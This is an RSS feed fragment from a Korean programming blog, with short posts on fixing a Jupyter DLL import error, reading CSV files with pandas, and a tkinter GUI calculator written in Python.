      <title>importerror: dll load failed while importing error: 지정된 모듈을 찾을 수 없습니다. [Jupyter notebook]</title>
      <link>https://geru.tistory.com/36</link>
      <description>&lt;p&gt;importerror:&amp;nbsp;dll&amp;nbsp;load&amp;nbsp;failed&amp;nbsp;while&amp;nbsp;importing&amp;nbsp;error:&amp;nbsp;지정된&amp;nbsp;모듈을&amp;nbsp;찾을&amp;nbsp;수&amp;nbsp;없습니다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;1. 에러&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;주피터 노트북을 사용하려다 발생한 에러이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;C:\Users\user\anaconda3\Scripts\jupyter.exe&amp;nbsp;notebook&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;명령을 했을 때 발생했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;원인은 모듈이 제대로 설치가 되지 않는 것 같다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;2. 해결&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;간단하게 해결하였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아나콘다를 재설치하고 체크박스를 전부 체크하고 설치하였다.&lt;/p&gt;</description>
      <category>공부/오류해결</category>
      <category>importerror: dll load failed while importing error: 지정된 모듈을 찾을 수 없습니다.</category>
      <category>Jupyter notebook</category>
      <category>에러</category>
      <category>오류</category>
      <category>오류해결</category>
      <category>주피터 노트북 오류</category>
      <author>notepad.exe</author>
      <guid isPermaLink="true">https://geru.tistory.com/36</guid>
      <comments>https://geru.tistory.com/36#entry36comment</comments>
      <pubDate>Tue, 4 Aug 2020 10:46:29 +0900</pubDate>
    </item>
    <item>
      <title>[파이썬] 문서 프로그램 다뤄보기</title>
      <link>https://geru.tistory.com/34</link>
      <description>&lt;p&gt;Jupyter Notebook을 사용해서 문서 프로그램을 다루었다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;1. 엑셀 파일 다루기&lt;/h3&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;4.PNG&quot; data-origin-width=&quot;347&quot; data-origin-height=&quot;291&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dti5D8/btqGg5TRcdp/AlQ6b8Yfy0xrLaAf0Box70/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dti5D8/btqGg5TRcdp/AlQ6b8Yfy0xrLaAf0Box70/img.png&quot; data-alt=&quot;결과&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dti5D8/btqGg5TRcdp/AlQ6b8Yfy0xrLaAf0Box70/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fdti5D8%2FbtqGg5TRcdp%2FAlQ6b8Yfy0xrLaAf0Box70%2Fimg.png&quot; data-filename=&quot;4.PNG&quot; data-origin-width=&quot;347&quot; data-origin-height=&quot;291&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;결과&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;5.PNG&quot; data-origin-width=&quot;73&quot; data-origin-height=&quot;22&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bgJQit/btqGe67jMcP/IRCWo9MysPS6EHYcyOr1Y1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bgJQit/btqGe67jMcP/IRCWo9MysPS6EHYcyOr1Y1/img.png&quot; data-alt=&quot;결과&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bgJQit/btqGe67jMcP/IRCWo9MysPS6EHYcyOr1Y1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbgJQit%2FbtqGe67jMcP%2FIRCWo9MysPS6EHYcyOr1Y1%2Fimg.png&quot; data-filename=&quot;5.PNG&quot; data-origin-width=&quot;73&quot; data-origin-height=&quot;22&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;결과&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;/h3&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;1.PNG&quot; data-origin-width=&quot;154&quot; data-origin-height=&quot;128&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/wRNrm/btqGfaVRZnb/NDuKrqqlFkITwOU8pNZlR0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/wRNrm/btqGfaVRZnb/NDuKrqqlFkITwOU8pNZlR0/img.png&quot; data-alt=&quot;결과&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/wRNrm/btqGfaVRZnb/NDuKrqqlFkITwOU8pNZlR0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FwRNrm%2FbtqGfaVRZnb%2FNDuKrqqlFkITwOU8pNZlR0%2Fimg.png&quot; data-filename=&quot;1.PNG&quot; data-origin-width=&quot;154&quot; data-origin-height=&quot;128&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;결과&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;2.PNG&quot; data-origin-width=&quot;115&quot; data-origin-height=&quot;75&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/vp0li/btqGgF2eMJi/9HvPoYMO9XJawLyrCo62r1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/vp0li/btqGgF2eMJi/9HvPoYMO9XJawLyrCo62r1/img.png&quot; data-alt=&quot;결과&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/vp0li/btqGgF2eMJi/9HvPoYMO9XJawLyrCo62r1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fvp0li%2FbtqGgF2eMJi%2F9HvPoYMO9XJawLyrCo62r1%2Fimg.png&quot; data-filename=&quot;2.PNG&quot; data-origin-width=&quot;115&quot; data-origin-height=&quot;75&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;결과&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;#test.csv로 파일 쓰기&lt;/p&gt;
&lt;p&gt;df.to_csv(&quot;test.csv&quot;)&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;3.PNG&quot; data-origin-width=&quot;70&quot; data-origin-height=&quot;28&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/7ioGW/btqGe9WYFdK/VgP9slHUr9vXsdfApCkAx0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/7ioGW/btqGe9WYFdK/VgP9slHUr9vXsdfApCkAx0/img.png&quot; data-alt=&quot;결과&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/7ioGW/btqGe9WYFdK/VgP9slHUr9vXsdfApCkAx0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F7ioGW%2FbtqGe9WYFdK%2FVgP9slHUr9vXsdfApCkAx0%2Fimg.png&quot; data-filename=&quot;3.PNG&quot; data-origin-width=&quot;70&quot; data-origin-height=&quot;28&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;결과&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;#col1, col3만 읽어오기&lt;/p&gt;
&lt;p&gt;pd.read_csv(StringIO(data),&amp;nbsp;usecols=['col1',&amp;nbsp;'col3'])&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;6.PNG&quot; data-origin-width=&quot;102&quot; data-origin-height=&quot;114&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bbmVuP/btqGevfcSka/F6QQnxCcFMUVktdRAYOtlk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bbmVuP/btqGevfcSka/F6QQnxCcFMUVktdRAYOtlk/img.png&quot; data-alt=&quot;결과&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bbmVuP/btqGevfcSka/F6QQnxCcFMUVktdRAYOtlk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbbmVuP%2FbtqGevfcSka%2FF6QQnxCcFMUVktdRAYOtlk%2Fimg.png&quot; data-filename=&quot;6.PNG&quot; data-origin-width=&quot;102&quot; data-origin-height=&quot;114&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;결과&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;3. 열 데이터 유형 지정&lt;/h3&gt;
&lt;p&gt;data&amp;nbsp;=&amp;nbsp;'a,b,c\n1,2,3\n4,5,6\n7,8,9' &lt;br /&gt;df = pd.read_csv(StringIO(data), dtype=object) #&lt;span style=&quot;color: #333333;&quot;&gt;object옵션&lt;/span&gt;&lt;br /&gt;df&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;8.PNG&quot; data-origin-width=&quot;105&quot; data-origin-height=&quot;114&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/csrnUl/btqGe9o7Lsx/5Qo8vDJhKC8TKJ1kfUdMw0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/csrnUl/btqGe9o7Lsx/5Qo8vDJhKC8TKJ1kfUdMw0/img.png&quot; data-alt=&quot;결과&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/csrnUl/btqGe9o7Lsx/5Qo8vDJhKC8TKJ1kfUdMw0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcsrnUl%2FbtqGe9o7Lsx%2F5Qo8vDJhKC8TKJ1kfUdMw0%2Fimg.png&quot; data-filename=&quot;8.PNG&quot; data-origin-width=&quot;105&quot; data-origin-height=&quot;114&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;결과&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;#df['a'][0]&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;7.PNG&quot; data-origin-width=&quot;39&quot; data-origin-height=&quot;29&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/d1PJyS/btqGc9c3aLA/89NYYk7lSVqsEuoygy8a80/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/d1PJyS/btqGc9c3aLA/89NYYk7lSVqsEuoygy8a80/img.png&quot; data-alt=&quot;결과&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/d1PJyS/btqGc9c3aLA/89NYYk7lSVqsEuoygy8a80/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fd1PJyS%2FbtqGc9c3aLA%2F89NYYk7lSVqsEuoygy8a80%2Fimg.png&quot; data-filename=&quot;7.PNG&quot; data-origin-width=&quot;39&quot; data-origin-height=&quot;29&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;결과&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;import&amp;nbsp;numpy&amp;nbsp;as&amp;nbsp;np&lt;/p&gt;
&lt;p&gt;df = pd.read_csv(StringIO(data), dtype={'b': object, 'c': np.float64}) #b는 &lt;span style=&quot;color: #333333;&quot;&gt;object, c는 np.float64옵션&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;df.dtypes&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;9.PNG&quot; data-origin-width=&quot;102&quot; data-origin-height=&quot;78&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bazwQg/btqGfMUNncc/pXJlTTmAXqvuSL7dJyyXKk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bazwQg/btqGfMUNncc/pXJlTTmAXqvuSL7dJyyXKk/img.png&quot; data-alt=&quot;결과&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bazwQg/btqGfMUNncc/pXJlTTmAXqvuSL7dJyyXKk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbazwQg%2FbtqGfMUNncc%2FpXJlTTmAXqvuSL7dJyyXKk%2Fimg.png&quot; data-filename=&quot;9.PNG&quot; data-origin-width=&quot;102&quot; data-origin-height=&quot;78&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;결과&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>공부/코딩공부</category>
      <category>공부</category>
      <category>매크로</category>
      <category>문서다루기</category>
      <category>자동화</category>
      <category>코딩</category>
      <category>파이썬</category>
      <author>notepad.exe</author>
      <guid isPermaLink="true">https://geru.tistory.com/34</guid>
      <comments>https://geru.tistory.com/34#entry34comment</comments>
      <pubDate>Mon, 3 Aug 2020 23:04:13 +0900</pubDate>
    </item>
    <item>
      <title>[파이썬] GUI 계산기</title>
      <link>https://geru.tistory.com/30</link>
      <description>&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;3.PNG&quot; data-origin-width=&quot;453&quot; data-origin-height=&quot;759&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cYuDWj/btqGbOzmSAO/t9qIDB1rhjxawSo3NW5E4K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cYuDWj/btqGbOzmSAO/t9qIDB1rhjxawSo3NW5E4K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cYuDWj/btqGbOzmSAO/t9qIDB1rhjxawSo3NW5E4K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcYuDWj%2FbtqGbOzmSAO%2Ft9qIDB1rhjxawSo3NW5E4K%2Fimg.png&quot; data-filename=&quot;3.PNG&quot; data-origin-width=&quot;453&quot; data-origin-height=&quot;759&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-tab-size=&quot;8&quot; data-paste-markdown-skip=&quot;&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td id=&quot;LC1&quot;&gt;&lt;span&gt;from&lt;/span&gt; &lt;span&gt;tkinter&lt;/span&gt; &lt;span&gt;import&lt;/span&gt; &lt;span&gt;*&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td id=&quot;LC2&quot;&gt;&lt;span&gt;window&lt;/span&gt; &lt;span&gt;=&lt;/span&gt; &lt;span&gt;Tk&lt;/span&gt;()&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td id=&quot;LC3&quot;&gt;&lt;span&gt;window&lt;/span&gt;.&lt;span&gt;title&lt;/span&gt;(&lt;span&gt;&quot;계산기 만들기&quot;&lt;/span&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td id=&quot;LC4&quot;&gt;&amp;nbsp;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td id=&quot;LC5&quot;&gt;&lt;span&gt;e&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;Entry&lt;/span&gt;(&lt;span&gt;window&lt;/span&gt;, &lt;span&gt;width&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;40&lt;/span&gt;, &lt;span&gt;bg&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;&quot;yellow&quot;&lt;/span&gt;, &lt;span&gt;fg&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;&quot;black&quot;&lt;/span&gt;, &lt;span&gt;bd&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;5&lt;/span&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td id=&quot;LC6&quot;&gt;&lt;span&gt;e&lt;/span&gt;.&lt;span&gt;grid&lt;/span&gt;(&lt;span&gt;row&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;, &lt;span&gt;column&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;, &lt;span&gt;columnspan&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;5&lt;/span&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td id=&quot;LC7&quot;&gt;&amp;nbsp;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td id=&quot;LC8&quot;&gt;&lt;span&gt;buttons&lt;/span&gt; &lt;span&gt;=&lt;/span&gt; [&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td id=&quot;LC9&quot;&gt;&lt;span&gt;'0'&lt;/span&gt;,&lt;span&gt;'1'&lt;/span&gt;,&lt;span&gt;'2'&lt;/span&gt;,&lt;span&gt;'+'&lt;/span&gt;,&lt;span&gt;'%'&lt;/span&gt;,&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td id=&quot;LC10&quot;&gt;&lt;span&gt;'3'&lt;/span&gt;,&lt;span&gt;'4'&lt;/span&gt;,&lt;span&gt;'5'&lt;/span&gt;,&lt;span&gt;'-'&lt;/span&gt;,&lt;span&gt;'//'&lt;/span&gt;,&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td id=&quot;LC11&quot;&gt;&lt;span&gt;'6'&lt;/span&gt;,&lt;span&gt;'7'&lt;/span&gt;,&lt;span&gt;'8'&lt;/span&gt;,&lt;span&gt;'*'&lt;/span&gt;,&lt;span&gt;'**'&lt;/span&gt;,&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td id=&quot;LC12&quot;&gt;&lt;span&gt;'9'&lt;/span&gt;,&lt;span&gt;'.'&lt;/span&gt;,&lt;span&gt;'='&lt;/span&gt;,&lt;span&gt;'/'&lt;/span&gt;,&lt;span&gt;'C'&lt;/span&gt;]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td id=&quot;LC13&quot;&gt;&amp;nbsp;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td id=&quot;LC14&quot;&gt;&lt;span&gt;def&lt;/span&gt; &lt;span&gt;click&lt;/span&gt;(&lt;span&gt;key&lt;/span&gt;):&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td id=&quot;LC15&quot;&gt;&lt;span&gt;if&lt;/span&gt; &lt;span&gt;key&lt;/span&gt; &lt;span&gt;==&lt;/span&gt; &lt;span&gt;'='&lt;/span&gt;:&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td id=&quot;LC16&quot;&gt;&lt;span&gt;result&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;eval&lt;/span&gt;(&lt;span&gt;e&lt;/span&gt;.&lt;span&gt;get&lt;/span&gt;())&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td id=&quot;LC17&quot;&gt;&lt;span&gt;s&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;str&lt;/span&gt;(&lt;span&gt;result&lt;/span&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td id=&quot;LC18&quot;&gt;&lt;span&gt;e&lt;/span&gt;.&lt;span&gt;delete&lt;/span&gt;(&lt;span&gt;0&lt;/span&gt;,&lt;span&gt;END&lt;/span&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td id=&quot;LC19&quot;&gt;&lt;span&gt;e&lt;/span&gt;.&lt;span&gt;insert&lt;/span&gt;(&lt;span&gt;0&lt;/span&gt;,&lt;span&gt;s&lt;/span&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td id=&quot;LC20&quot;&gt;&lt;span&gt;elif&lt;/span&gt; &lt;span&gt;key&lt;/span&gt; &lt;span&gt;==&lt;/span&gt; &lt;span&gt;'C'&lt;/span&gt;:&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td id=&quot;LC21&quot;&gt;&lt;span&gt;e&lt;/span&gt;.&lt;span&gt;delete&lt;/span&gt;(&lt;span&gt;0&lt;/span&gt;,&lt;span&gt;END&lt;/span&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td id=&quot;LC22&quot;&gt;&lt;span&gt;else&lt;/span&gt;:&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td id=&quot;LC23&quot;&gt;&lt;span&gt;e&lt;/span&gt;.&lt;span&gt;insert&lt;/span&gt;(&lt;span&gt;END&lt;/span&gt;,&lt;span&gt;key&lt;/span&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td id=&quot;LC24&quot;&gt;&amp;nbsp;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td id=&quot;LC25&quot;&gt;&lt;span&gt;row&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td id=&quot;LC26&quot;&gt;&lt;span&gt;col&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td id=&quot;LC27&quot;&gt;&lt;span&gt;for&lt;/span&gt; &lt;span&gt;text&lt;/span&gt; &lt;span&gt;in&lt;/span&gt; &lt;span&gt;buttons&lt;/span&gt;:&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td id=&quot;LC28&quot;&gt;&lt;span&gt;def&lt;/span&gt; &lt;span&gt;process&lt;/span&gt;(&lt;span&gt;t&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;text&lt;/span&gt;):&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td id=&quot;LC29&quot;&gt;&lt;span&gt;click&lt;/span&gt;(&lt;span&gt;t&lt;/span&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td id=&quot;LC30&quot;&gt;&amp;nbsp;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td id=&quot;LC31&quot;&gt;&lt;span&gt;b&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;Button&lt;/span&gt;(&lt;span&gt;window&lt;/span&gt;, &lt;span&gt;text&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;text&lt;/span&gt;, &lt;span&gt;width&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;7&lt;/span&gt;, &lt;span&gt;height&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;3&lt;/span&gt;, &lt;span&gt;command&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;process&lt;/span&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td id=&quot;LC32&quot;&gt;&lt;span&gt;b&lt;/span&gt;.&lt;span&gt;grid&lt;/span&gt;(&lt;span&gt;row&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;row&lt;/span&gt;, &lt;span&gt;column&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;col&lt;/span&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td id=&quot;LC33&quot;&gt;&lt;span&gt;col&lt;/span&gt; &lt;span&gt;+=&lt;/span&gt; &lt;span&gt;1&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td id=&quot;LC34&quot;&gt;&lt;span&gt;if&lt;/span&gt; &lt;span&gt;col&lt;/span&gt; &lt;span&gt;&amp;gt;&lt;/span&gt; &lt;span&gt;4&lt;/span&gt; :&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td id=&quot;LC35&quot;&gt;&lt;span&gt;row&lt;/span&gt; &lt;span&gt;+=&lt;/span&gt; &lt;span&gt;1&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td id=&quot;LC36&quot;&gt;&lt;span&gt;col&lt;/span&gt; &lt;span&gt;=&lt;/span&gt; &lt;span&gt;0&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td id=&quot;LC37&quot;&gt;&amp;nbsp;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td id=&quot;LC38&quot;&gt;&lt;span&gt;window&lt;/span&gt;.&lt;span&gt;mainloop&lt;/span&gt;()&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
